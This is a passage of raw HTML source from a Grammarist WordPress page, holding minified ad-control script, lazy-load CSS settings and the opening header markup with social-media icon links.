r[0]==`string`&&i.push(r.shift()),a.push(...r);try{Function.prototype.apply.call(e,console,[i.join(``),...a])}catch(e){console.error(e);return}}},n=()=>window.adthriveCLS,r={Below_Post_1:`Below_Post_1`,Below_Post:`Below_Post`,Content:`Content`,Content_1:`Content_1`,Content_2:`Content_2`,Content_3:`Content_3`,Content_4:`Content_4`,Content_5:`Content_5`,Content_6:`Content_6`,Content_7:`Content_7`,Content_8:`Content_8`,Content_9:`Content_9`,Recipe:`Recipe`,Recipe_1:`Recipe_1`,Recipe_2:`Recipe_2`,Recipe_3:`Recipe_3`,Recipe_4:`Recipe_4`,Recipe_5:`Recipe_5`,Native_Recipe:`Native_Recipe`,Footer_1:`Footer_1`,Footer:`Footer`,Header_1:`Header_1`,Header_2:`Header_2`,Header:`Header`,Sidebar_1:`Sidebar_1`,Sidebar_2:`Sidebar_2`,Sidebar_3:`Sidebar_3`,Sidebar_4:`Sidebar_4`,Sidebar_5:`Sidebar_5`,Sidebar_9:`Sidebar_9`,Sidebar:`Sidebar`,Interstitial_1:`Interstitial_1`,Interstitial:`Interstitial`,Video_StickyOutstream_1:`Video_StickyOutstream_1`,Video_StickyOutstream:`Video_StickyOutstream`,Video_StickyInstream:`Video_StickyInstream`,Sponsor_Tile:`Sponsor_Tile`},i=e=>{let t=window.location.href;return e.some(e=>new RegExp(e,`i`).test(t))};function a(e){"@babel/helpers - typeof";return a=typeof Symbol==`function`&&typeof Symbol.iterator==`symbol`?function(e){return typeof e}:function(e){return e&&typeof Symbol==`function`&&e.constructor===Symbol&&e!==Symbol.prototype?`symbol`:typeof e},a(e)}function o(e,t){if(a(e)!=`object`||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t||`default`);if(a(r)!=`object`)return r;throw TypeError(`@@toPrimitive must return a primitive value.`)}return(t===`string`?String:Number)(e)}function s(e){var t=o(e,`string`);return a(t)==`symbol`?t:t+``}function c(e,t,n){return(t=s(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var l=class{constructor(e){this.adthrive=e,c(this,`all`,!1),c(this,`content`,!1),c(this,`recipe`,!1),c(this,`video`,!1),c(this,`locations`,new Set),c(this,`reasons`,new Set),(this.urlHasEmail(window.location.href)||this.urlHasEmail(window.document.referrer))&&(this.all=!0,this.reasons.add(`all_email`));try{this.checkCommandQueue()}catch(e){t.error(`ClsDisableAds`,`checkCommandQueue`,e)}}checkCommandQueue(){this.adthrive&&this.adthrive.cmd&&this.adthrive.cmd.forEach(e=>{let t=e.toString(),n=this.extractAPICall(t,`disableAds`);n&&this.disableAllAds(this.extractPatterns(n));let r=this.extractAPICall(t,`disableContentAds`);r&&this.disableContentAds(this.extractPatterns(r));let i=this.extractAPICall(t,`disablePlaylistPlayers`);i&&this.disablePlaylistPlayers(this.extractPatterns(i))})}extractPatterns(e){let t=e.match(/["'](.*?)['"]/g);if(t!==null)return t.map(e=>e.replace(/["']/g,``))}extractAPICall(e,t){let n=RegExp(t+`\\((.*?)\\)`,`g`),r=e.match(n);return r===null?!1:r[0]}disableAllAds(e){(!e||i(e))&&(this.all=!0,this.reasons.add(`all_page`))}disableContentAds(e){(!e||i(e))&&(this.content=!0,this.recipe=!0,this.locations.add(r.Content),this.locations.add(r.Recipe),this.reasons.add(`content_plugin`))}disablePlaylistPlayers(e){(!e||i(e))&&(this.video=!0,this.locations.add(`Video`),this.reasons.add(`video_page`))}urlHasEmail(e){return e?/([A-Z0-9._%+-]+(@|%(25)*40)[A-Z0-9.-]+\.[A-Z]{2,})/i.exec(e)!==null:!1}};let u=n();return u&&(u.disableAds=new l(window.adthrive)),e.ClsDisableAds=l,e})({});</script>
1046<noscript><style id="rocket-lazyload-nojs-css">.rll-youtube-player, [data-lazy-src]{display:none !important;}</style></noscript><style id="wp-interactivity-router-animations-inline-css"> 1047 .wp-interactivity-router-loading-bar { 1048 position: fixed; 1049 top: 0; 1050 left: 0; 1051 margin: 0; 1052 padding: 0; 1053 width: 100vw; 1054 max-width: 100vw !important; 1055 height: 4px; 1056 background-color: #000; 1057 opacity: 0 1058 } 1059 .wp-interactivity-router-loading-bar.start-animation { 1060 animation: wp-interactivity-router-loading-bar-start-animation 30s cubic-bezier(0.03, 0.5, 0, 1) forwards 1061 } 1062 .wp-interactivity-router-loading-bar.finish-animation { 1063 animation: wp-interactivity-router-loading-bar-finish-animation 300ms ease-in 1064 } 1065 @keyframes wp-interactivity-router-loading-bar-start-animation { 1066 0% { transform: scaleX(0); transform-origin: 0 0; opacity: 1 } 1067 100% { transform: scaleX(1); transform-origin: 0 0; opacity: 1 } 1068 } 1069 @keyframes wp-interactivity-router-loading-bar-finish-animation { 1070 0% { opacity: 1 } 1071 50% { opacity: 1 } 1072 100% { opacity: 0 } 1073 } 1074/*# sourceURL=wp-interactivity-router-animations-inline-css */ 1075</style> 1076<style id="core-block-supports-inline-css"> 1077.wp-container-core-group-is-layout-e1019195{flex-wrap:nowrap;}.wp-container-content-e0b89f81{flex-basis:250px;}.wp-container-core-group-is-layout-57435d76{justify-content:space-between;}.wp-container-surecart-product-list-filter-tags-is-layout-28737005{flex-wrap:nowrap;align-items:flex-start;}.wp-container-core-group-is-layout-2194deb0{flex-wrap:nowrap;}.wp-container-core-cover-is-layout-995e605f > *{margin-block-start:0;margin-block-end:0;}.wp-container-core-cover-is-layout-995e605f > * + *{margin-block-start:0;margin-block-end:0;}.wp-container-content-5dc44c30{grid-row:span 1;}.wp-container-core-group-is-layout-c603440f > .alignfull{margin-right:calc(0px * -1);margin-left:calc(0px * -1);}.wp-container-core-group-is-layout-c603440f > *{margin-block-start:0;margin-block-end:0;}.wp-container-core-group-is-layout-c603440f > * + *{margin-block-start:0;margin-block-end:0;}.wp-container-core-group-is-layout-ed4d4cad{flex-wrap:nowrap;gap:0.5em;}.wp-container-core-group-is-layout-b102d036{grid-template-columns:repeat(auto-fill, minmax(min(12rem, 100%), 1fr));container-type:inline-size;}.wp-container-surecart-product-template-is-layout-ebc7a09b{grid-template-columns:repeat(3, minmax(0, 1fr));gap:36px;}.wp-elements-1 a:where(:not(.wp-element-button)){color:#000000;}.wp-container-surecart-product-list-is-layout-4ddb2dc5 > *{margin-block-start:0;margin-block-end:0;}.wp-container-surecart-product-list-is-layout-4ddb2dc5 > * + *{margin-block-start:10px;margin-block-end:0;} 1078/*# sourceURL=core-block-supports-inline-css */ 1079</style> 1080 1081<style id="wpr-lazyload-bg-container"></style><style id="wpr-lazyload-bg-exclusion"></style> 1082<noscript> 1083<style id="wpr-lazyload-bg-nostyle">#convertkit-restrict-content-modal-loading{--wpr-bg-e00eca2b-af3f-481c-abbf-d6c2bc347564: url('https://grammarist.com/wp-content/plugins/convertkit/resources/frontend/images/spinner.gif');}.convertkit-broadcasts.convertkit-broadcasts-loading{--wpr-bg-850779fd-a95c-482b-894a-4639c3613d57: url('https://grammarist.com/wp-content/plugins/convertkit/resources/frontend/images/spinner.gif');}.editor-styles-wrapper .convertkit-broadcasts.convertkit-broadcasts-loading{--wpr-bg-37197872-1294-48c8-b424-3a1bd33fa128: url('https://grammarist.com/wp-content/plugins/convertkit/resources/frontend/images/spinner.gif');}.convertkit-restrict-content-notice{--wpr-bg-c86b6379-f253-454d-b06e-4979531a3d21: url('https://grammarist.com/wp-content/plugins/convertkit/resources/frontend/images/error.svg');}form.convertkit-restrict-content-form div#convertkit-restrict-content-email-field{--wpr-bg-d390ac98-47b4-4a8a-b93f-47fb1d3395f3: url('https://grammarist.com/wp-content/plugins/convertkit/resources/frontend/images/email.svg');}#convertkit-restrict-content-modal #convertkit-restrict-content-modal-close{--wpr-bg-5fe0276d-a623-4b66-8828-b80d071bbf5e: url('https://grammarist.com/wp-content/plugins/convertkit/resources/frontend/images/cross.svg');}.dlm-filetype-pdf{--wpr-bg-c23fa6e5-85a3-4e8b-8d93-f7090e831b1d: url('https://grammarist.com/wp-content/plugins/download-monitor/assets/images/filetypes/document-pdf.png');}.dlm-filetype-aif,.dlm-filetype-aifc,.dlm-filetype-aiff,.dlm-filetype-au,.dlm-filetype-kar,.dlm-filetype-m3u,.dlm-filetype-m4r,.dlm-filetype-mid,.dlm-filetype-midi,.dlm-filetype-mp2,.dlm-filetype-mp3,.dlm-filetype-mpga,.dlm-filetype-ra,.dlm-filetype-ram,.dlm-filetype-rm,.dlm-filetype-rpm,.dlm-filetype-snd,.dlm-filetype-wav,.dlm-filetype-wave{--wpr-bg-b9cb103b-bc4b-4c34-bf0a-4f54e0122395: url('https://grammarist.com/wp-content/plugins/download-monitor/assets/images/filetypes/document-music.png');}.dlm-filetype-avi,.dlm-filetype-divx,.dlm-filetype-mov,.dlm-filetype-movie,.dlm-filetype-mp4,.dlm-filetype-mpe,.dlm-filetype-mpeg,.dlm-filetype-mpg,.dlm-filetype-mxu,.dlm-filetype-qt,.dlm-filetype-wmv{--wpr-bg-ad96b123-6124-4a61-a365-79aa6e194629: url('https://grammarist.com/wp-content/plugins/download-monitor/assets/images/filetypes/document-film.png');}.dlm-filetype-7z,.dlm-filetype-gz,.dlm-filetype-rar,.dlm-filetype-sit,.dlm-filetype-tar,.dlm-filetype-zip{--wpr-bg-a9cf0b04-8712-4357-a13d-a032c1222e30: url('https://grammarist.com/wp-content/plugins/download-monitor/assets/images/filetypes/document-zipper.png');}.dlm-filetype-csv,.dlm-filetype-tsv,.dlm-filetype-xls,.dlm-filetype-xlsx{--wpr-bg-272cb845-0557-4e88-8388-b4ccc739e100: url('https://grammarist.com/wp-content/plugins/download-monitor/assets/images/filetypes/document-excel.png');}.dlm-filetype-doc,.dlm-filetype-docx{--wpr-bg-2e6ea13c-0cc8-4f7b-b20a-c29de46fd4a4: url('https://grammarist.com/wp-content/plugins/download-monitor/assets/images/filetypes/document-word-text.png');}.dlm-filetype-ai{--wpr-bg-7fe699f0-11ad-40ca-af27-db8c6f78b571: url('https://grammarist.com/wp-content/plugins/download-monitor/assets/images/filetypes/document-illustrator.png');}.dlm-filetype-swf{--wpr-bg-e1e0657c-97d0-49c1-a3f5-fc4f4f67e675: url('https://grammarist.com/wp-content/plugins/download-monitor/assets/images/filetypes/document-flash-movie.png');}.dlm-filetype-bmp,.dlm-filetype-djv,.dlm-filetype-eps,.dlm-filetype-gif,.dlm-filetype-ief,.dlm-filetype-jpe,.dlm-filetype-jpeg,.dlm-filetype-jpg,.dlm-filetype-pbm,.dlm-filetype-pgm,.dlm-filetype-png,.dlm-filetype-pnm,.dlm-filetype-ppm,.dlm-filetype-ps,.dlm-filetype-ras,.dlm-filetype-rgb,.dlm-filetype-tif,.dlm-filetype-tiff,.dlm-filetype-wbmp,.dlm-filetype-xbm,.dlm-filetype-xpm,.dlm-filetype-xwd{--wpr-bg-24c953d1-4029-43fe-817a-2cc92845a472: url('https://grammarist.com/wp-content/plugins/download-monitor/assets/images/filetypes/document-image.png');}.dlm-filetype-psd{--wpr-bg-7008b5a5-41a4-4635-b48f-7a03d4f470ca: url('https://grammarist.com/wp-content/plugins/download-monitor/assets/images/filetypes/document-photoshop.png');}.dlm-filetype-ppt,.dlm-filetype-pptx{--wpr-bg-22ef8370-5ff3-4469-8d25-e598c86e1c36: url('https://grammarist.com/wp-content/plugins/download-monitor/assets/images/filetypes/document-powerpoint.png');}.dlm-filetype-as,.dlm-filetype-css,.dlm-filetype-htaccess,.dlm-filetype-htm,.dlm-filetype-html,.dlm-filetype-js,.dlm-filetype-php,.dlm-filetype-sql,.dlm-filetype-xml,.dlm-filetype-xsl{--wpr-bg-8fef1541-8c66-40c8-91d0-a8fa10c752b7: url('https://grammarist.com/wp-content/plugins/download-monitor/assets/images/filetypes/document-code.png');}.dlm-filetype-rtf,.dlm-filetype-rtx{--wpr-bg-2dbb8256-101b-428f-9434-a6b83e06a7c6: url('https://grammarist.com/wp-content/plugins/download-monitor/assets/images/filetypes/document-text-image.png');}.dlm-filetype-txt{--wpr-bg-b9a60b8d-16fb-4eb7-b0f9-5f41b4787a2e: url('https://grammarist.com/wp-content/plugins/download-monitor/assets/images/filetypes/document-text.png');}.gbp-section-bg-img-overlay{--wpr-bg-cd209606-6dd4-4107-bce7-380a9c5f7aa9: url('https://patterns.generateblocks.com/wp-content/uploads/2023/08/placeholder1280x720.png');}.gb-container-8ea0a712:before{--wpr-bg-af15c4b0-b583-4519-b9bc-4b284152c7be: url('https://grammarist.com/wp-content/uploads/2021/01/abstract-shapes.svg');}</style> 1084</noscript>
1085<script type="application/javascript">const rocket_pairs = [{"selector":"#convertkit-restrict-content-modal-loading","style":"#convertkit-restrict-content-modal-loading{--wpr-bg-e00eca2b-af3f-481c-abbf-d6c2bc347564: url('https:\/\/grammarist.com\/wp-content\/plugins\/convertkit\/resources\/frontend\/images\/spinner.gif');}","hash":"e00eca2b-af3f-481c-abbf-d6c2bc347564","url":"https:\/\/grammarist.com\/wp-content\/plugins\/convertkit\/resources\/frontend\/images\/spinner.gif"},{"selector":".convertkit-broadcasts.convertkit-broadcasts-loading","style":".convertkit-broadcasts.convertkit-broadcasts-loading{--wpr-bg-850779fd-a95c-482b-894a-4639c3613d57: url('https:\/\/grammarist.com\/wp-content\/plugins\/convertkit\/resources\/frontend\/images\/spinner.gif');}","hash":"850779fd-a95c-482b-894a-4639c3613d57","url":"https:\/\/grammarist.com\/wp-content\/plugins\/convertkit\/resources\/frontend\/images\/spinner.gif"},{"selector":".editor-styles-wrapper .convertkit-broadcasts.convertkit-broadcasts-loading","style":".editor-styles-wrapper .convertkit-broadcasts.convertkit-broadcasts-loading{--wpr-bg-37197872-1294-48c8-b424-3a1bd33fa128: url('https:\/\/grammarist.com\/wp-content\/plugins\/convertkit\/resources\/frontend\/images\/spinner.gif');}","hash":"37197872-1294-48c8-b424-3a1bd33fa128","url":"https:\/\/grammarist.com\/wp-content\/plugins\/convertkit\/resources\/frontend\/images\/spinner.gif"},{"selector":".convertkit-restrict-content-notice","style":".convertkit-restrict-content-notice{--wpr-bg-c86b6379-f253-454d-b06e-4979531a3d21: url('https:\/\/grammarist.com\/wp-content\/plugins\/convertkit\/resources\/frontend\/images\/error.svg');}","hash":"c86b6379-f253-454d-b06e-4979531a3d21","url":"https:\/\/grammarist.com\/wp-content\/plugins\/convertkit\/resources\/frontend\/images\/error.svg"},{"selector":"form.convertkit-restrict-content-form div#convertkit-restrict-content-email-field","style":"form.convertkit-restrict-content-form div#convertkit-restrict-content-email-field{--wpr-bg-d390ac98-47b4-4a8a-b93f-47fb1d3395f3: url('https:\/\/grammarist.com\/wp-content\/plugins\/convertkit\/resources\/frontend\/images\/email.svg');}","hash":"d390ac98-47b4-4a8a-b93f-47fb1d3395f3","url":"https:\/\/grammarist.com\/wp-content\/plugins\/convertkit\/resources\/frontend\/images\/email.svg"},{"selector":"#convertkit-restrict-content-modal #convertkit-restrict-content-modal-close","style":"#convertkit-restrict-content-modal #convertkit-restrict-content-modal-close{--wpr-bg-5fe0276d-a623-4b66-8828-b80d071bbf5e: url('https:\/\/grammarist.com\/wp-content\/plugins\/convertkit\/resources\/frontend\/images\/cross.svg');}","hash":"5fe0276d-a623-4b66-8828-b80d071bbf5e","url":"https:\/\/grammarist.com\/wp-content\/plugins\/convertkit\/resources\/frontend\/images\/cross.svg"},{"selector":".dlm-filetype-pdf","style":".dlm-filetype-pdf{--wpr-bg-c23fa6e5-85a3-4e8b-8d93-f7090e831b1d: url('https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-pdf.png');}","hash":"c23fa6e5-85a3-4e8b-8d93-f7090e831b1d","url":"https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-pdf.png"},{"selector":".dlm-filetype-aif,.dlm-filetype-aifc,.dlm-filetype-aiff,.dlm-filetype-au,.dlm-filetype-kar,.dlm-filetype-m3u,.dlm-filetype-m4r,.dlm-filetype-mid,.dlm-filetype-midi,.dlm-filetype-mp2,.dlm-filetype-mp3,.dlm-filetype-mpga,.dlm-filetype-ra,.dlm-filetype-ram,.dlm-filetype-rm,.dlm-filetype-rpm,.dlm-filetype-snd,.dlm-filetype-wav,.dlm-filetype-wave","style":".dlm-filetype-aif,.dlm-filetype-aifc,.dlm-filetype-aiff,.dlm-filetype-au,.dlm-filetype-kar,.dlm-filetype-m3u,.dlm-filetype-m4r,.dlm-filetype-mid,.dlm-filetype-midi,.dlm-filetype-mp2,.dlm-filetype-mp3,.dlm-filetype-mpga,.dlm-filetype-ra,.dlm-filetype-ram,.dlm-filetype-rm,.dlm-filetype-rpm,.dlm-filetype-snd,.dlm-filetype-wav,.dlm-filetype-wave{--wpr-bg-b9cb103b-bc4b-4c34-bf0a-4f54e0122395: url('https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-music.png');}","hash":"b9cb103b-bc4b-4c34-bf0a-4f54e0122395","url":"https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-music.png"},{"selector":".dlm-filetype-avi,.dlm-filetype-divx,.dlm-filetype-mov,.dlm-filetype-movie,.dlm-filetype-mp4,.dlm-filetype-mpe,.dlm-filetype-mpeg,.dlm-filetype-mpg,.dlm-filetype-mxu,.dlm-filetype-qt,.dlm-filetype-wmv","style":".dlm-filetype-avi,.dlm-filetype-divx,.dlm-filetype-mov,.dlm-filetype-movie,.dlm-filetype-mp4,.dlm-filetype-mpe,.dlm-filetype-mpeg,.dlm-filetype-mpg,.dlm-filetype-mxu,.dlm-filetype-qt,.dlm-filetype-wmv{--wpr-bg-ad96b123-6124-4a61-a365-79aa6e194629: url('https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-film.png');}","hash":"ad96b123-6124-4a61-a365-79aa6e194629","url":"https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-film.png"},{"selector":".dlm-filetype-7z,.dlm-filetype-gz,.dlm-filetype-rar,.dlm-filetype-sit,.dlm-filetype-tar,.dlm-filetype-zip","style":".dlm-filetype-7z,.dlm-filetype-gz,.dlm-filetype-rar,.dlm-filetype-sit,.dlm-filetype-tar,.dlm-filetype-zip{--wpr-bg-a9cf0b04-8712-4357-a13d-a032c1222e30: url('https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-zipper.png');}","hash":"a9cf0b04-8712-4357-a13d-a032c1222e30","url":"https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-zipper.png"},{"selector":".dlm-filetype-csv,.dlm-filetype-tsv,.dlm-filetype-xls,.dlm-filetype-xlsx","style":".dlm-filetype-csv,.dlm-filetype-tsv,.dlm-filetype-xls,.dlm-filetype-xlsx{--wpr-bg-272cb845-0557-4e88-8388-b4ccc739e100: url('https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-excel.png');}","hash":"272cb845-0557-4e88-8388-b4ccc739e100","url":"https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-excel.png"},{"selector":".dlm-filetype-doc,.dlm-filetype-docx","style":".dlm-filetype-doc,.dlm-filetype-docx{--wpr-bg-2e6ea13c-0cc8-4f7b-b20a-c29de46fd4a4: url('https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-word-text.png');}","hash":"2e6ea13c-0cc8-4f7b-b20a-c29de46fd4a4","url":"https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-word-text.png"},{"selector":".dlm-filetype-ai","style":".dlm-filetype-ai{--wpr-bg-7fe699f0-11ad-40ca-af27-db8c6f78b571: url('https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-illustrator.png');}","hash":"7fe699f0-11ad-40ca-af27-db8c6f78b571","url":"https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-illustrator.png"},{"selector":".dlm-filetype-swf","style":".dlm-filetype-swf{--wpr-bg-e1e0657c-97d0-49c1-a3f5-fc4f4f67e675: url('https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-flash-movie.png');}","hash":"e1e0657c-97d0-49c1-a3f5-fc4f4f67e675","url":"https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-flash-movie.png"},{"selector":".dlm-filetype-bmp,.dlm-filetype-djv,.dlm-filetype-eps,.dlm-filetype-gif,.dlm-filetype-ief,.dlm-filetype-jpe,.dlm-filetype-jpeg,.dlm-filetype-jpg,.dlm-filetype-pbm,.dlm-filetype-pgm,.dlm-filetype-png,.dlm-filetype-pnm,.dlm-filetype-ppm,.dlm-filetype-ps,.dlm-filetype-ras,.dlm-filetype-rgb,.dlm-filetype-tif,.dlm-filetype-tiff,.dlm-filetype-wbmp,.dlm-filetype-xbm,.dlm-filetype-xpm,.dlm-filetype-xwd","style":".dlm-filetype-bmp,.dlm-filetype-djv,.dlm-filetype-eps,.dlm-filetype-gif,.dlm-filetype-ief,.dlm-filetype-jpe,.dlm-filetype-jpeg,.dlm-filetype-jpg,.dlm-filetype-pbm,.dlm-filetype-pgm,.dlm-filetype-png,.dlm-filetype-pnm,.dlm-filetype-ppm,.dlm-filetype-ps,.dlm-filetype-ras,.dlm-filetype-rgb,.dlm-filetype-tif,.dlm-filetype-tiff,.dlm-filetype-wbmp,.dlm-filetype-xbm,.dlm-filetype-xpm,.dlm-filetype-xwd{--wpr-bg-24c953d1-4029-43fe-817a-2cc92845a472: url('https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-image.png');}","hash":"24c953d1-4029-43fe-817a-2cc92845a472","url":"https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-image.png"},{"selector":".dlm-filetype-psd","style":".dlm-filetype-psd{--wpr-bg-7008b5a5-41a4-4635-b48f-7a03d4f470ca: url('https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-photoshop.png');}","hash":"7008b5a5-41a4-4635-b48f-7a03d4f470ca","url":"https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-photoshop.png"},{"selector":".dlm-filetype-ppt,.dlm-filetype-pptx","style":".dlm-filetype-ppt,.dlm-filetype-pptx{--wpr-bg-22ef8370-5ff3-4469-8d25-e598c86e1c36: url('https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-powerpoint.png');}","hash":"22ef8370-5ff3-4469-8d25-e598c86e1c36","url":"https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-powerpoint.png"},{"selector":".dlm-filetype-as,.dlm-filetype-css,.dlm-filetype-htaccess,.dlm-filetype-htm,.dlm-filetype-html,.dlm-filetype-js,.dlm-filetype-php,.dlm-filetype-sql,.dlm-filetype-xml,.dlm-filetype-xsl","style":".dlm-filetype-as,.dlm-filetype-css,.dlm-filetype-htaccess,.dlm-filetype-htm,.dlm-filetype-html,.dlm-filetype-js,.dlm-filetype-php,.dlm-filetype-sql,.dlm-filetype-xml,.dlm-filetype-xsl{--wpr-bg-8fef1541-8c66-40c8-91d0-a8fa10c752b7: url('https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-code.png');}","hash":"8fef1541-8c66-40c8-91d0-a8fa10c752b7","url":"https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-code.png"},{"selector":".dlm-filetype-rtf,.dlm-filetype-rtx","style":".dlm-filetype-rtf,.dlm-filetype-rtx{--wpr-bg-2dbb8256-101b-428f-9434-a6b83e06a7c6: url('https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-text-image.png');}","hash":"2dbb8256-101b-428f-9434-a6b83e06a7c6","url":"https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-text-image.png"},{"selector":".dlm-filetype-txt","style":".dlm-filetype-txt{--wpr-bg-b9a60b8d-16fb-4eb7-b0f9-5f41b4787a2e: url('https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-text.png');}","hash":"b9a60b8d-16fb-4eb7-b0f9-5f41b4787a2e","url":"https:\/\/grammarist.com\/wp-content\/plugins\/download-monitor\/assets\/images\/filetypes\/document-text.png"},{"selector":".gbp-section-bg-img-overlay","style":".gbp-section-bg-img-overlay{--wpr-bg-cd209606-6dd4-4107-bce7-380a9c5f7aa9: url('https:\/\/patterns.generateblocks.com\/wp-content\/uploads\/2023\/08\/placeholder1280x720.png');}","hash":"cd209606-6dd4-4107-bce7-380a9c5f7aa9","url":"https:\/\/patterns.generateblocks.com\/wp-content\/uploads\/2023\/08\/placeholder1280x720.png"},{"selector":".gb-container-8ea0a712","style":".gb-container-8ea0a712:before{--wpr-bg-af15c4b0-b583-4519-b9bc-4b284152c7be: url('https:\/\/grammarist.com\/wp-content\/uploads\/2021\/01\/abstract-shapes.svg');}","hash":"af15c4b0-b583-4519-b9bc-4b284152c7be","url":"https:\/\/grammarist.com\/wp-content\/uploads\/2021\/01\/abstract-shapes.svg"}]; const rocket_excluded_pairs = [];</script>
1085<meta name="generator" content="WP Rocket 3.23.3.3" data-wpr-features="wpr_lazyload_css_bg_img wpr_delay_js wpr_minify_js wpr_lazyload_images wpr_lazyload_iframes wpr_preconnect_external_domains wpr_oci wpr_minify_css wpr_cdn wpr_preload_links wpr_desktop" /></head> 1086 1087<body class="wp-singular page-template-default page page-id-108520 wp-embed-responsive wp-theme-generatepress wp-child-theme-generatepress_child post-image-aligned-center secondary-nav-below-header secondary-nav-aligned-right slideout-enabled slideout-mobile sticky-menu-fade has-grow-sidebar surecart-theme-light adthrive-disable-all adthrive-disable-content adthrive-disable-video no-sidebar nav-below-header separate-containers header-aligned-left dropdown-hover" itemtype="https://schema.org/WebPage" itemscope> 1088 <a class="screen-reader-text skip-link" href="#content" title="Skip to content">Skip to content</a><div class="gb-container gb-container-0a346947"> 1089<section class="gb-container gb-container-8c385b01 hide-on-mobile"> 1090<div class="gb-container gb-container-a82c9764"> 1091 1092<a class="gb-button gb-button-01bbe773" href="https://twitter.com/_grammarist" target="_blank" rel="noopener noreferrer"><span class="gb-icon"><svg fill="#000000" width="800px" height="800px" viewBox="0 0 20 20" xmlns="http://www.w3.org/2000/svg"><path d="M10 .4C4.698.4.4 4.698.4 10s4.298 9.6 9.6 9.6 9.6-4.298 9.6-9.6S15.302.4 10 .4zm3.905 7.864c.004.082.005.164.005.244 0 2.5-1.901 5.381-5.379 5.381a5.335 5.335 0 0 1-2.898-.85c.147.018.298.025.451.025.886 0 1.701-.301 2.348-.809a1.895 1.895 0 0 1-1.766-1.312 1.9 1.9 0 0 0 .853-.033 1.892 1.892 0 0 1-1.517-1.854v-.023c.255.141.547.227.857.237a1.89 1.89 0 0 1-.585-2.526 5.376 5.376 0 0 0 3.897 1.977 1.891 1.891 0 0 1 3.222-1.725 3.797 3.797 0 0 0 1.2-.459 1.9 1.9 0 0 1-.831 1.047 3.799 3.799 0 0 0 1.086-.299 3.834 3.834 0 0 1-.943.979z"></path></svg></span></a> 1093 1094 1095 1096<a class="gb-button gb-button-9dde952b" href="https://www.facebook.com/grammaristweb/" target="_blank" rel="noopener noreferrer"><span class="gb-icon"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" height="800px" width="800px" fill="#000000"> <path d="M12 2.03998C6.5 2.03998 2 6.52998 2 12.06C2 17.06 5.66 21.21 10.44 21.96V14.96H7.9V12.06H10.44V9.84998C10.44 7.33998 11.93 5.95998 14.22 5.95998C15.31 5.95998 16.45 6.14998 16.45 6.14998V8.61998H15.19C13.95 8.61998 13.56 9.38998 13.56 10.18V12.06H16.34L15.89 14.96H13.56V21.96C15.9164 21.5878 18.0622 20.3855 19.6099 18.57C21.1576 16.7546 22.0054 14.4456 22 12.06C22 6.52998 17.5 2.03998 12 2.03998Z"></path> </svg></span></a> 1097 1098 1099 1100<a class="gb-button gb-button-55c4bdb9" href="https://www.youtube.com/channel/UCFhPTWXjPIw1qlZ0mhWCQtQ" target="_blank" rel="noopener noreferrer"><span class="gb-icon"><svg xml:space="preserve" viewBox="-143 145 512 512" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns="http://www.w3.org/2000/svg" id="Layer_1" version="1.1" width="800px" height="800px" fill="#000000"> <g> <polygon points="78.9,450.3 162.7,401.1 78.9,351.9"></polygon> <path d="M113,145c-141.4,0-256,114.6-256,256s114.6,256,256,256s256-114.6,256-256S254.4,145,113,145z M241,446.8L241,446.8 c0,44.1-44.1,44.1-44.1,44.1H29.1c-44.1,0-44.1-44.1-44.1-44.1v-91.5c0-44.1,44.1-44.1,44.1-44.1h167.8c44.1,0,44.1,44.1,44.1,44.1 V446.8z"></path> </g> </svg></span></a> 1101 1102 1103 1104<a class="gb-button gb-button-88594826" href="https://pinterest.com/grammar_rules/" target="_blank" rel="noopener noreferrer"><span class="gb-icon"><svg aria-hidden="true" role="img" height="1em" width="1em" viewBox="0 0 496 512" xmlns="http://www.w3.org/2000/svg"><path fill="currentColor" d="M496 256c0 137-111 248-248 248-25.6 0-50.2-3.9-73.4-11.1 10.1-16.5 25.2-43.5 30.8-65 3-11.6 15.4-59 15.4-59 8.1 15.4 31.7 28.5 56.8 28.5 74.8 0 128.7-68.8 128.7-154.3 0-81.9-66.9-143.2-152.9-143.2-107 0-163.9 71.8-163.9 150.1 0 36.4 19.4 81.7 50.3 96.1 4.7 2.2 7.2 